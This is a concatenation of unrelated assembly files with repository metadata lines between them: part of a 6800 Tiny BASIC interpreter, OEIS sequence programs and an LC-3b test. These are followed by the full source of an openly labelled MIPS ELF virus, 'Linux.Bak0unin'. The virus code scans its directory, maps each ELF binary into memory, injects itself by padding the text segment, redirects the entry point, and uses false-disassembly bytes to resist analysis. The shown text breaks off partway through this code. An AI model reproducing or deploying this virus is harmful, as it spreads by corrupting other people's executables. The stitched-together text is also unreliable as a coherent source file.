Grow@@ ; loop until done EndOfProg@@ ldx bp_save ; adjust new end of program stx end_prgm SameSize@@ ldx basic_lineno ; now there is space at position for the new line ;-------------------------------------- ; check lineno: is 0 if delete beq Done@@ ; nothing to copy (gap is already closed) ldx IL_temp ; start of area to insert into (the gap) ldd basic_lineno ; store the line number into this area std ,x inx ;-------------------------------------- MoveLine@@ inx stx IL_temp ; position of gap jsr fetch_basicchar ; get char from input buffer ldx IL_temp ; put it into gap sta ,x cmpa #CR ; until EOLN bne MoveLine@@ Done@@ lds top_of_stack ; finished with IL ;-------------------------------------- ; reload stack pointer jmp restart_il_nocr ; and re-enter BASIC loop ;******************************************************************************* ; Break routine for Motorola MINIBUG minibug_break proc lda ACIA_STATUS ; ACIA control status asra ; check bit0: receive buffer full bcc Done@@ ; no, exit, carry clear lda ACIA_DATA ; load ACIA data bne Done@@ ; if not NUL, return carry set clc ; was NUL, ignore, retun carry clear Done@@ rts ;******************************************************************************* ; Input/Echo routine for Motorola MINIBUG minibug_inoutput proc lda ACIA_STATUS ; get ACIA status asra ; check bit: receiver buffer empty? bcc minibug_inoutput ; yes, wait for char lda ACIA_DATA ; get ACIA data psha ; save it for later Loop@@ lda ACIA_STATUS ; get ACIA status anda #2 ; check bit1: transmit buf empty? beq Loop@@ ; no, wait until transmitted pula ; restore char sta ACIA_DATA ; echo data just entered rts ;******************************************************************************* ; test break routine for MIKBUG mikbug_chkbreak proc lda PIA_REG ; check bitbang input of PIA clc bmi Done@@ ; if 1, exit: no input Loop@@ lda PIA_REG ; is zero, wait until 1 bpl Loop@@ bsr Emit@@ ; emit byte 0xFF twice Emit@@ lda #$FF ; emit 0xFF jsr OUT_V sec Done@@ rts ;******************************************************************************* ; The IL interpreter commented ;******************************************************************************* start_of_il fcb $24,':',$11+$80 ; PL : print literal ":",XON fcb $27 ; GL : get input line fcb $10 ; SB : save BASIC pointer fcb $E1 ; BE 01: if not eoln, branch to il_test_insert fcb $59 ; BR 19: branch to start_of_il il_test_insert fcb $C5 ; BN 05: if not number, branch to il_test_let fcb $2A ; IL : insert BASIC line fcb $56 ; BR 16: branch to start_of_il il_run fcb $10 ; SB : save BASIC pointer fcb $11 ; RB : restore BASIC pointer fcb $2C ; XC : execute il_test_let fcb $8B,'LE','T'+$80 ; BC 0B: if not "LET", branch to il_test_go fcb $A0 ; BV 00: if not variable, error fcb $80,'='+$80 ; BC 00: if not "=", error il_let fcb $30,$BC ; JS 0BC: call il_expr fcb $E0 ; BE 00: if not eoln, error fcb $13 ; SV : store variable fcb $1D ; NX : next BASIC statement il_test_go fcb $94,'G','O'+$80 ; BC 14: if not "GO", branch to il_test_10 fcb $88,'T','O'+$80 ; BC 08: if not "TO", branch to il_test_sub fcb $30,$BC ; JS 0BC: call il_expr fcb $E0 ; BE 00: if not eoln, error fcb $10 ; SB : save BASIC pointer fcb $11 ; RB : restore BASIC pointer fcb $16 ; GO : GOTO il_test_sub fcb $80,'SU','B'+$80 ; BC 00: if not "SUB", error fcb $30,$BC ; JS 0BC: call il_expr fcb $E0 ; BE 00: if not eoln, error fcb $14 ; GS : GOSUB save fcb $16 ; GO : GOTO il_test_pr fcb $90,'P','R'+$80 ; BC 10: if not "PR", branch to il_jump1 fcb $83,'IN','T'+$80 ; BC 03: if not "INT", branch to il_print il_print fcb $E5 ; BE 05: if not eoln, branch to il_pr_test_dq fcb $71 ; BR 31: branch to il_pr_must_eoln il_pr_test_semi fcb $88,';'+$80 ; BC 08: if not ";", branch to il_pr_test_com il_pr_eoln fcb $E1 ; BE 01: if not eoln, branch to il_pr_test_dq fcb $1D ; NX : next BASIC statement il_pr_test_dq fcb $8F,'"'+$80 ; BC 0F: if not dblquote, branch to il_pr_expr fcb $21 ; PQ : print BASIC string fcb $58 ; BR 18: branch to il_test_semi il_jump1 fcb $6F ; BR 2F: branch to il_test_if il_pr_test_com fcb $83,','+$80 ; BC 03: if not ",", branch to il_test_colon fcb $22 ; PT : print TAB fcb $55 ; BR 15: branch to il_pr_eoln il_test_colon fcb $83,':'+$80 ; BC 03: if not ":", branch to il_pr_must_eoln fcb $24,$13+$80 ; PR : print literal XOFF il_pr_must_eoln fcb $E0 ; BE 00: if not eoln, error fcb $23 ; NL : new line fcb $1D ; NX : next statement il_pr_expr fcb $30,$BC ; JS 0BC: call il_expr fcb $20 ; PN : print number fcb $48 ; BR 08: branch to il_pr_test_semi fcb $91,'I','F'+$80 ; BC 11: if not "IF", branch to il_test_input il_test_if fcb $30,$BC ; JS 0BC: call il_expr fcb $31,$34 ; JS 134: call il_cmpop fcb $30,$BC ; JS 0BC: call il_expr fcb $84,'THE','N'+$80 ; BC 04: if not "THEN", branch to il_test_input fcb $1C ; CP : compare fcb $1D ; NX : next BASIC statement fcb $38,$D ; J 00D: jump il_test_let il_test_input fcb $9A,'INPU','T'+$80 ; BC 1A: if not "INPUT", branch to il_test_return il_in_more fcb $A0 ; BV 00: if not variable, error fcb $10 ; SB : save BASIC pointer fcb $E7 ; BE 07: if not eoln, branch to il_in_test_com il_in_query fcb $24,'?',' ',$11+$80 ; PR : print literal "? ",XON fcb $27 ; GL : get input line fcb $E1 ; BE 01: if not eoln, branch to il_in_test_com fcb $59 ; BR 19: branch to il_in_query il_in_test_com fcb $81,','+$80 ; BC 01: if not ",", branch to il_in_get fcb $30,$BC ; JS 0BC: call il_expr fcb $13 ; SV : store variable fcb $11 ; RB : restore BASIC pointer fcb $82,','+$80 ; BC 02: if not ",", branch il_in_done fcb $4D ; BR 0D: branch to il_in_more fcb $E0 ; BE 00: if not eoln, error fcb $1D ; NX : next BASIC statement il_test_return fcb $89,'RETUR','N'+$80 ; BC 09: if not "RETURN", branch to il_test_end fcb $E0 ; BE 00: if not eoln, error fcb $15 ; RS : restore saved line fcb $1D ; NX : next BASIC statement il_test_end fcb $85,'EN','D'+$80 ; BC 05: if not "END", branch to il_test_list fcb $E0 ; BE 00: if not eoln, error fcb $2D ; WS : stop il_test_list fcb $98,'LIS','T'+$80 ; BC 18: if not "LIST", branch to il_test_run fcb $EC ; BE 0C: if not eoln, branch to il_li_line il_li_newline fcb $24,0,0,0,0,LF,0+$80 ; PR : print literal NUL,NUL,NUL,NUL,LF,NUL fcb $1F ; LS : list the program fcb $24,$13+$80 ; PR : print literal XOFF fcb $23 ; NL : newline fcb $1D ; NX : next BASIC statement il_li_line fcb $30,$BC ; JS 0BC: call il_expr fcb $E1 ; if not eoln, branch to il_li2 fcb $50 ; BR 10: branch to il_li_newline fcb $80,','+$80 ; BC 00: if not ",", error fcb $59 ; BR 19: branch to il_li_line il_test_run fcb $85,'RU','N'+$80 ; BC 05: if not "RUN", branch to il_test_clear fcb $38,$0A ; J 00A: branch to il_run il_test_clear fcb $86,'CLEA','R'+$80 ; BC 06: if not "CLEAR", branch to il_test_rem fcb $2B ; MT : mark basic program space empty il_test_rem fcb $84,'RE','M'+$80 ; BC 04: if not "REM, branch to il_assign fcb $1D ; NX : next BASIC statement fcb $A0 ; BV 00: if not variable, error il_assign fcb $80,'='+$80 ; BC 00: if not "=", error fcb $38,$14 ; J 014: branch to il_let il_expr fcb $85,'-'+$80 ; if not "-", branch to il_expr_plus fcb $30,$D3 ; JS 0D3: call il_term fcb $17 ; NE : negate fcb $64 ; BR 24: branch to il_expr1 il_expr_plus fcb $81,'+'+$80 ; BC 01: if not "+", branch to il_expr0 il_expr0 fcb $30,$D3 ; JS 0D3: call il_term il_expr1 fcb $85,'+'+$80 ; BC 05: if not "+", branch to il_expr2 fcb $30,$D3 ; JS 0D3: call il_term fcb $18 ; AD : add fcb $5A ; BR 1A: branch to il_expr1 il_expr2 fcb $85,'-'+$80 ; BC 05: if not "-", branch to il_term fcb $30,$D3 ; JS 0D3: call il_term fcb $19 ; SU : subtract fcb $54 ; BR 14: branch to il_expr1 il_expr3 fcb $2F ; RT : return il_term fcb $30,$E2 ; JS 0E2: call il_fact il_term0 fcb $85,'*'+$80 ; BC 05: if not "*", branch to il_term1 fcb $30,$E2 ; JS 0E2: call il_factor fcb $1A ; MP : multiply fcb $5A ; BR 1A: branch to il_term0 il_term1 fcb $85,'/'+$80 ; if not "/", branch to il_term2 fcb $30,$E2 ; JS 0E2: call il_factor fcb $1B ; DV : divide fcb $54 ; BR 14: branch to il_term0 il_term2 fcb $2F ; RT : return il_factor fcb $98,'RN','D'+$80 ; BC 18: if not RND, branch to il_factor1 fcb $A,$80,$80 ; LN : push literal 0x8080 fcb $12 ; FV : fetch variable rnd_seed fcb $A,$09,$29 ; LN : push literal 0x0929 fcb $1A ; MP : multiply fcb $A,$1A,$85 ; LN : push literal 0x1A85 fcb $18 ; AD : add fcb $13 ; SV : store variable rnd_seed fcb 9,$80 ; LB : push literal byte 0x80 fcb $12 ; FV : fetch variable rnd_seed fcb 1 ; SX 01: stack exchange fcb $B ; DS : duplicate stack top fcb $31,$30 ; JS 130: call il_rn_paren fcb $61 ; BR 21: branch to il_factor2 il_factor1 fcb $72 ; BR 32: branch to il_usr il_factor2 fcb $B ; DS : duplicate stack top fcb 4 ; SX 04: stack exchange fcb 2 ; SX 02: stack exchange fcb 3 ; SX 03: stack exchange fcb 5 ; SX 05: stack exchange fcb 3 ; SX 03: stack exchange fcb $1B ; DV : divide fcb $1A ; MP : multiply fcb $19 ; SU : subtract fcb $B ; DS : duplicate stack top fcb 9,$06 ; LB : push literal byte 0x06 fcb $A,$00,$00 ; LN : push literal number 0x0000 fcb $1C ; CP : compare fcb $17 ; NE : negate fcb $2F ; RT : return il_usr fcb $8F,'US','R'+$80 ; BC 0F: if not "USR", branch to il_factor3 fcb $80 ; BC 00: if not "(", error fcb $A8 ; if not variable, branch to il_usr1 fcb $30,$BC ; JS 0BC: call il_expr fcb $31,$2A ; JS 12A: call il_us_test_com fcb $31,$2A ; JS 12A: call il_us_test_com fcb $80,')'+$80 ; BC 00: if not ")", error il_usr1 fcb $2E ; US : machine language call fcb $2F ; RT : return il_factor3 fcb $A2 ; BV 02: if not variable, branch to il_factor4 fcb $12 ; FV : fetch variable fcb $2F ; RT : return il_factor4 fcb $C1 ; BN 01: if not number, branch to il_lparen fcb $2F ; RT : return fcb $80,'('+$80 ; BC 00: if not "(", error il_factor5 fcb $30,$BC ; JS 0BC: call il_expr fcb $80,')'+$80 ; BC 00: if not ")", error fcb $2F ; RT : return il_us_test_com fcb $83,','+$80 ; BC 03: if not ",", branch to il_us_dup fcb $38,$BC ; J 0BC: branch to il_expr il_us_dup fcb $B ; DS : duplicate stack top fcb $2F ; RT : return il_rn_paren fcb $80,'('+$80 ; BC 00: if not "(", error fcb $52 ; BR 12: branch to il_factor5 fcb $2F ; RT : return il_cmpop fcb $84,'='+$80 ; if not "=", branch to il_cmpop1 fcb 9,$02 ; LB : push literal byte 0x02 fcb $2F ; RT ; return il_cmpop1 fcb $8E,'<'+$80 ; BR 0E: if not "<", branch to il_cmpop4 fcb $84,'='+$80 ; BR 04: if not "=", branch to il_cmpop2 fcb 9,$93 ; LB : push literal byte 0x93 fcb $2F ; RT : return il_cmpop2 fcb $84,'>'+$80 ; BR 04: if not ">", branch to il_cmpop3 fcb 9,$05 ; LB : push literal byte 0x05 fcb $2F ; RT : return il_cmpop3 fcb 9,$91 ; LB : push literal byte 0x91 fcb $2F ; RT : return il_cmpop4 fcb $80,'>'+$80 ; BR 00: if not ">", error fcb $84,'='+$80 ; BR 04: if not "=", branch to il_cmpop5 fcb 9,$06 ; LB : push literal byte 0x06 fcb $2F ; RT : return il_cmpop5 fcb $84,'<'+$80 ; BR 04: if not "<", branch to il_cmpop6 fcb 9,$95 ; LB : push literal byte 0x95 fcb $2F ; RT : return il_cmpop6 fcb 9,$04 ; LB : push literal byte 0x04 fcb $2F ; RT :return fcb 0 fcb 0 ;******************************************************************************* ; not called: reference code for break check for MIKBUG/MINIBUG monitors ;******************************************************************************* ; jmp minibug_chkbreak jmp mikbug_chkbreak
55.335227
116
0.351052
e47283da459f5379dcbe6cb2092c8f658cd3b277
375
asm
Assembly
programs/oeis/170/A170349.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/170/A170349.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/170/A170349.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A170349: Number of reduced words of length n in Coxeter group on 4 generators S_i with relations (S_i)^2 = (S_i S_j)^43 = I. ; 1,4,12,36,108,324,972,2916,8748,26244,78732,236196,708588,2125764,6377292,19131876,57395628,172186884,516560652,1549681956,4649045868,13947137604,41841412812,125524238436,376572715308,1129718145924 mov $1,3 pow $1,$0 mul $1,8 div $1,6 mov $0,$1
41.666667
199
0.770667
4724a459b6323371b0c6241ac462cf4ee9de83d2
199
asm
Assembly
lab3_test_harness/Lab1test/rshfa.asm
Zaydax/PipelineProcessor
f45f7d1a245f291218d53a7f16fd7f98a50ce47e
[ "MIT" ]
2
2017-03-05T17:40:26.000Z
2017-03-15T01:41:25.000Z
lab3_test_harness/Lab1test/rshfa.asm
Zaydax/PipelineProcessor
f45f7d1a245f291218d53a7f16fd7f98a50ce47e
[ "MIT" ]
null
null
null
lab3_test_harness/Lab1test/rshfa.asm
Zaydax/PipelineProcessor
f45f7d1a245f291218d53a7f16fd7f98a50ce47e
[ "MIT" ]
null
null
null
.ORIG x3000 LEA R0, A LDW R0, R0, #0 RSHFA R1, R0, #0 RSHFA R2, R0, #3 RSHFA R3, R0, #5 RSHFA R4, R0, #8 RSHFA R5, R0, #9 RSHFA R6, R0, #13 RSHFA R7, R0, #15 HALT A .FILL xdefa .END
15.307692
18
0.562814
9151881a9919a57424cd9a92c7434142ca761c8c
535
asm
Assembly
programs/oeis/315/A315684.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/315/A315684.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/315/A315684.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A315684: Coordination sequence Gal.5.291.5 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,6,12,17,22,27,32,37,42,48,54,60,66,71,76,81,86,91,96,102,108,114,120,125,130,135,140,145,150,156,162,168,174,179,184,189,194,199,204,210,216,222,228,233,238,243,248,253,258,264 mov $1,1 mov $2,$0 mov $3,$0 add $3,3 lpb $0 sub $0,1 add $1,$0 trn $3,5 mov $0,$3 trn $3,$1 sub $1,$0 trn $0,5 add $3,$0 lpe lpb $2 add $1,5 sub $2,1 lpe
24.318182
180
0.659813
5aadbba2bba99b9aaa7b401c76fea261d9c0b1dc
31
asm
Assembly
tests/expect/tests/indirect-call.asm
brenden7158/v86
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
[ "BSD-2-Clause" ]
12,700
2015-01-04T15:03:42.000Z
2022-03-31T06:43:06.000Z
tests/expect/tests/indirect-call.asm
brenden7158/v86
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
[ "BSD-2-Clause" ]
566
2015-01-01T18:16:40.000Z
2022-03-31T19:59:10.000Z
tests/expect/tests/indirect-call.asm
brenden7158/v86
c9e274dc6e8cc619d1b36d57a69299aee6a45a91
[ "BSD-2-Clause" ]
1,182
2015-01-05T09:20:48.000Z
2022-03-31T12:16:52.000Z
BITS 32 call [eax] hlt
7.75
14
0.516129
c50d19403774fa8ab80513153a3c557db40f8644
127
asm
Assembly
prueba.asm
Adrephos/AssemblyToBinary
925976c5880c6185f90bafd761eae84b59616cab
[ "MIT" ]
2
2021-10-05T00:53:42.000Z
2021-10-05T00:53:55.000Z
prueba.asm
Adrephos/AssemblyToBinary
925976c5880c6185f90bafd761eae84b59616cab
[ "MIT" ]
null
null
null
prueba.asm
Adrephos/AssemblyToBinary
925976c5880c6185f90bafd761eae84b59616cab
[ "MIT" ]
null
null
null
@sum M=0 @R0 D=M @i M=D (CICLO) @i MD=M-1 @FIN D;JLT @R1 D=M @sum M=D+M @CICLO 0;JMP (FIN) @sum D=M @R2 M=D (END) @END 0;JMP
4.884615
8
0.551181
e5243b3e8684aabccec1643245c54a6df772f1fb
116
asm
Assembly
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___ulong2fs.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___ulong2fs.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
libsrc/_DEVELOPMENT/math/float/math48/lm/c/sdcc_iy/___ulong2fs.asm
meesokim/z88dk
5763c7778f19a71d936b3200374059d267066bb2
[ "ClArtistic" ]
null
null
null
SECTION code_fp_math48 PUBLIC ___ulong2fs EXTERN cm48_sdcciyp_ulong2ds defc ___ulong2fs = cm48_sdcciyp_ulong2ds
12.888889
40
0.87069
e0a3c92e93f99d823192816183caf45529f08131
17,879
asm
Assembly
Linux/Infectors/Linux.Bak0unin.asm
Mingzhi5/MalwareRepository
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
[ "MIT" ]
null
null
null
Linux/Infectors/Linux.Bak0unin.asm
Mingzhi5/MalwareRepository
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
[ "MIT" ]
null
null
null
Linux/Infectors/Linux.Bak0unin.asm
Mingzhi5/MalwareRepository
bbda9079fe006adb6cfbb643a6060bc5c16ea4c4
[ "MIT" ]
1
2021-09-21T16:33:06.000Z
2021-09-21T16:33:06.000Z
############################################################## ## A MIPS-32 ELF non-resident virus with false disassembly ## ## Made with love by S01den (@s01den) ## ## From the tmp.0ut crew ! ## ## 01/2021 ## ############################################################## # .____ .__ ________ ________ _____ ._____________ _________ __________ __ .__ # | | |__| ____ \_____ \ \_____ \ / \ | \______ \/ _____/ \______ \_____ | | ____ __ ____ |__| ____ # | | | |/ \ _(__ < / ____/ / \ / \| || ___/\_____ \ | | _/\__ \ | |/ / | \/ \| |/ \ # | |___| | | \/ \/ \ / Y \ || | / \ | | \ / __ \| <| | / | \ | | \ # |_______ \__|___| /______ /\_______ \ /\ \____|__ /___||____| /_______ / /\ |______ /(____ /__|_ \____/|___| /__|___| / # \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ \/ # In tribute to Mikhail Bakunin, an anarchist philosopher (https://en.wikipedia.org/wiki/Mikhail_Bakunin) # Don't spread this into the wild # I don't take any responsibility for what you do with this # This non-destructive Proof of Concept virus infects PIE and non-PIE, written in pure MIPS assembly, infects every ELF in its directory, PIE or not. # It also uses a little trick to avoid a correct disassembly of its main part (the well-known false-disassembly technique) # build command: mips-as Linux.Bak0unine.asm -o bak.o ; mips-ld bak.o -o bak # features: # ############################################################ # ## Infection technique ## Silvio's forward text infection ## # ############################################################ # ## Payload ## Prints "X_X" ## // wow really fancy... # ############################################################ # ## Anti-RE ## false-disassembly ## # ############################################################ # ---------------------------- CUT-HERE ---------------------------- .text .global _start _start: # - start of the prolog - # # first of all, we have to mmap an executable area in memory where we can copy the aligned code # (because the fake disassembly technique fucks up the alignment, and in MIPS, we can't jump anywhere...) sw $zero,20($sp) li $v0,0 sw $v0,16($sp) li $a0, 0 li $a1, 0x6a8 li $a2, 7 # PROT_READ|PROT_WRITE|PROT_EXEC li $a3, 0x0802 # MAP_ANONYMOUS | MAP_PRIVATE li $v0, 4210 # sys_mmap2 syscall bgezal $zero, get_pc add $t1, $t1, 0x6f # 0x = the number of bytes to reach true_start move $t2, $v0 li $t0, 0 .get_vx: # copy the virus body in the memory region we've just mmaped lb $t3, 0($t1) sb $t3, 0($t2) addi $t0, $t0, 1 addi $t1, $t1, 1 addi $t2, $t2, 1 blt $t0, 0x615, .get_vx jal $v0 # jump to the mmaped region beq $zero, $zero, eof get_pc: move $t1, $ra jr $ra eof: li $a0, 2 li $v0, 4001 # sys_exit syscall .ascii "\xac\xab\xac\xab" # because the code to ret to the OEP is larger than eof, we have to make padding .ascii "\xac\xab\xac\xab" .ascii "\xac\xab\xac\xab" .ascii "\xac\xab\xac\xab" .ascii "\xac\xab\xac\xab" .ascii "\xac\xab\xac\xab" .ascii "\xeb\x01\xe8" # false-disas bytes; different for every new infection # - end of the prolog - # # - The beginning of the virus body - # true_start: addi $gp, $ra, 64 move $v1, $sp sub $sp, $sp, 0x1000 move $a0, $sp li $a1, 0xff li $v0, 4203 # sys_getcwd syscall move $a0, $sp li $a1, 0 li $a2, 0 li $v0, 4005 # sys_open syscall blt $v0, 0, payload # exit if return code of sys_open is < 0 move $a0, $v0 move $a1, $sp li $a2, 1024 li $v0, 4219 # sys_getdents64 syscall move $s1, $v0 # store the result (the number of entries) in $s1 li $v0, 4006 # sys_close syscall li $s0, 0 # s0 will be our counter parse_dir: move $s2, $sp # s2 will contain the address of the filename addi $s2, $s2, 0x13 # d_name li $t1, 0 addi $t1, $sp, 0x12 lb $t1, 0($t1) # t1 now contains the type of the entry (file or dir) bgezal $zero, infect # little trick: we have to use relative jumps but # j and jal instructions are absolute so that's why we use a beq which is always # true as a relative jump instruction (branches instructions are relatives) li $t9, 0 addi $t9, $sp, 0x10 # get d_reclen (see the organization of the dirent64 structure...) lb $t0, 1($t9) # the buffer position += d_reclen add $s0, $s0, $t0 add $sp, $sp, $t0 blt $s0, $s1, parse_dir # if counter < nbr of entries : jmp to parse_dir beq $zero, $zero, payload # little trick: we have to use relative jumps but # j and jal instructions are absolute so that's why we use a beq which is always # true as a relative jump instruction (branches instructions are relatives) infect: ############## REGISTER TABLE ############## ## $s0 = counter of entries ## ## $s1 = the number of entries ## ## $s2 = the addr of the filename we treat## ## $s3 = the addr of the stack before jal ## ## $s4 = the fd of the potential host ## ## $s5 = the addr returned by mmap ## ## $s6 = OEP ## ## $s7 = virtual addr of the vx = new EP ## ## $t9 = length of the file ## ############################################ move $s3, $sp sub $sp, $sp, 0x100 bne $t1, 0x8, end # if the name we've got isn't a filename, return to parse_dir li $v0, 4005 move $a0, $s2 li $a1, 0x402 # RW mode li $a2, 0 syscall # sys_open bgt $v0, 0x10, end # if the openning failed : jmp to parse_dir move $s4, $v0 move $a0, $s4 move $a1, $sp li $v0, 4108 # sys_fstat (to know the length of the file we're trying to infect) syscall lw $t9, 48($sp) # I didn't know how to pass more than 4 arguments (the registers $a0...$a3), so I made a simple program which use mmap(), I statically linked it # and disassembled it to see how mmap was called, that's where I've got the 3 following lines sw $zero,20($sp) li $v0,3 sw $v0,16($sp) li $a0, 0 move $a1, $t9 li $a2, 6 li $a3, 1 li $v0, 4210 # sys_mmap2 (to map the content of the file in memory) syscall move $s5, $v0 .check_magic: lw $t0, 0($s5) li $t1, 0x7f454c46 # check if the file is an ELF (by checking the magic bytes) bne $t0, $t1, end .check_bits: lb $t0, 4($s5) bne $t0, 1, end # here, we check e_ident[EI_CLASS], to know if the ELF we're trying to infect is 32 or 64 bit (if it's 64 bit, goto end) .check_signature: lw $t0, 9($s5) # the signature is located in e_hdr.padding, such as in Lin64.Kropotkine beq $t0, 0xdeadc0de, end .infection: # We use the silvio's forward text infection technique -> http://ivanlef0u.fr/repo/madchat/vxdevl/vdat/tuunix02.htm # To insert code at the end of the text segment thus leaves us with the following to do so far. # * Increase p_shoff to account for the new code in the ELF header # * Locate the text segment program header # * Increase p_filesz to account for the new code # * Increase p_memsz to account for the new code # * For each phdr who's segment is after the insertion (text segment) # * increase p_offset to reflect the new position after insertion # * For each shdr who's section resides after the insertion # * Increase sh_offset to account for the new code # * Physically insert the new code into the file - text segment p_offset # + p_filesz (original) lh $t0, 0x2c($s5) # load e_phnum in $t0 li $t1, 0 # the counter of program headers lw $t5, 0x1c($s5) # load e_phoff in $t2 .search_phdr: # in this sub-routine, we're looking for the segment which contains .text lh $t3, 0x2a($s5) # load e_phentsize in $t3 mult $t3, $t1 mflo $t3 add $t3, $t3, $t5 add $t2, $s5, $t3 lw $t3, 0($t2) # load p_type in $t3 bne $t3, 1, .end_loop_search_t # 1 = PT_LOAD so here we check if the segment is loadable lw $t3, 0x18($t2) # load p_flags in $t3 bne $t3, 5, .end_loop_search_t # 5 = PT_X | PT_R so here we check if the segment is readable and executable # if we're here, we've found the right phdr lw $t3, 0x4($t2) # load p_offset in $t3 lw $t4, 0x10($t2) # load p_filesz in $t4 add $s6, $t3, $t4 # end_of_.text = offset_.text + length_.text lw $t3, 0x8($t2) # load p_vaddr in $t3 add $s7, $t3, $t4 # virtual addr of the start of the vx body = virtual addr of the end of .text so vaddr_vx = vaddr_.text + length_.text lw $t3, 0x18($s5) # save the original entry point in $t8 sw $s7, 0x18($s5) # patch the entry point with vaddr_vx move $s7, $t3 # -- add to p_filesz the size of the vx -- lw $t3, 0x10($t2) addi $t3, $t3, 0x6a8 sw $t3, 0x10($t2) # -- add to p_memsz the size of the vx -- lw $t3, 0x14($t2) addi $t3, $t3, 0x6a8 sw $t3, 0x14($t2) # -- insert the signature of the vx -- li $t3, 0xdeadc0de sw $t3, 0x9($s5) addi $t1, $t1, 1 # in this routine we'll patch the lasts phdr to take into account the size of the vx .increase_sizeof_phdr: lh $t3, 0x2a($s5) # load e_phentsize in $t3 mult $t3, $t1 mflo $t3 add $t3, $t3, $t5 add $t2, $s5, $t3 # increase p_offset lw $t3, 4($t2) addi $t3, $t3, 4096 # add PAGE_SZ32 to p_offset sw $t3, 4($t2) addi $t1, $t1, 1 blt $t1, $t0, .increase_sizeof_phdr beq $zero, $zero, .search_shdr .end_loop_search_t: addi $t1, $t1, 1 blt $t1, $t0, .search_phdr .search_shdr: lh $t0, 0x30($s5) # load e_shnum in $t0 li $t1, 0 # the counter of section headers lw $t5, 0x20($s5) # load e_shoff in $t2 .loop_shdr: lh $t3, 0x2e($s5) # load e_shentsize in $t3 mult $t3, $t1 mflo $t3 add $t3, $t3, $t5 add $t2, $s5, $t3 lw $t3, 0x10($t2) # sh_offset bgt $t3, $s6, .section_after_txt_end # here we check if the section is located after the one we're infecting lw $t3, 0x14($t2) # sh_size lw $t4, 0x0C($t2) # sh_addr add $t4, $t4, $t3 beq $t4, $s6, .section_of_vx # here we check if the section is the one we're infecting .end_loop_shdr: addi $t1, $t1, 1 blt $t1, $t0, .loop_shdr beq $zero, $zero, .end_infection .section_after_txt_end: addi $t3, $t3, 4096 # add PAGE_SZ32 to sh_offset sw $t3, 0x10($t2) beq $zero, $zero, .end_loop_shdr .section_of_vx: addi $t3, $t3, 0x6a8 # <- add the vx size to sh_size sw $t3, 0x14($t2) beq $zero, $zero, .end_loop_shdr .end_infection: # -- add to e_shoff the size of a 32 bit page (because the section header table is located at the end of the file) -- lw $t0, 0x20($s5) addi $t0, $t0, 4096 sw $t0, 0x20($s5) move $a0, $s5 move $a1, $t9 li $a2, 0 li $v0, 4144 syscall # sys_msync, to apply the change to the file sub $sp, $sp, 0x6a8 # <- make room in the stack for the vx bytes move $t7, $ra li $t0, 0 move $t2, $sp # copy the prolog of the virus (and change randomly the bytes for the fake disassembly) # ---- the code to hardcode ---- # afa00014 sw zero, 0x14(sp) # 24020000 addiu v0, zero, 0 # afa20010 sw v0, 0x10(sp) # 24040000 addiu a0, zero, 0 # 240506a8 addiu a1, zero, 0x6a8 # 24060007 addiu a2, zero, 7 # 24070802 addiu a3, zero, 0x802 # 24021072 addiu v0, zero, 0x1072 # 0000000c syscall # 04110011 bal loc.get_pc # 00000000 nop # 2129006f addi t1, t1, 0x6f # 00405025 move t2, v0 # 24080000 addiu t0, zero, 0 # -- .get_vx: # 812b0000 lb t3, (t1) # 00000000 nop # a14b0000 sb t3, (t2) # 21080001 addi t0, t0, 1 # 21290001 addi t1, t1, 1 # 214a0001 addi t2, t2, 1 # 29010615 slti at, t0, 0x615 # 1420fff8 bnez at, loc..get_vx # 00000000 nop # 0040f809 jalr v0 # 00000000 nop # 10000003 b loc.eof # 00000000 nop # -- get_pc: # 03e00008 jr ra # 03e04825 move t1, ra # ------------------------------ li $t3, 0xafa00014 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24020000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0xafa00010 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24040000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x240506a8 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24060007 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24070802 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24021072 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x0000000c sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x0411000f sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x2129006f sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00405025 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x24080000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x812b0000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x00000000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0xa14b0000 sw $t3, 0($t2) addi $t2, $t2, 4 li $t3, 0x21080001 sw $t3, 0($t2) addi $t2, $t2, 4 